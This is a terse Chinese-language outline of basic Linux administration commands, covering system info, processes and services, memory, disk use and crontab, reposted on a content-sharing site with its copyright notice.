1、查看系统信息
-
1、日期时间
-
date
-
cal
-
uptime
- 查看机器已经启动了多长时间
-
w
-
-
2、系统版本
- cat /etc/redhat-release
- uname -a
- cat /proc/version
-
-
2、进程管理
-
1、程序 program
-
2、进程 process
-
3、服务 service
-
systemctl list-unit-files |grep mysql
- cat /etc/services |grep mysql
-
运行程序
- 1、前台运行 ./xxx
- 2、后台运行 nohup ./xxx &
-
查看进程 top
-
ps
-
全拼:process status
-
ps -ef
-
ps -aux
-
pstree
-
-
服务管理
-
systemctl
-
systemctl和service
-
停止程序
- kill -信号量 进程号 - 例如:kill -9 11964
-
-
-
3、内存使用情况
- free
-
4、磁盘使用情况
-
du
- 全拼:disk usage
-
综合命令 sar
-
-
5、定时任务
-
工具:crontab
-
全拼:cron table
-
Cron表达式:
- https://tool.lu/crontab
-
crontab命令
-
定时任务文件
-
版权声明:本文标题:Linux操作系统-2022(Viper) 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://www.elefans.com/xitong/1725871320a1046258.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论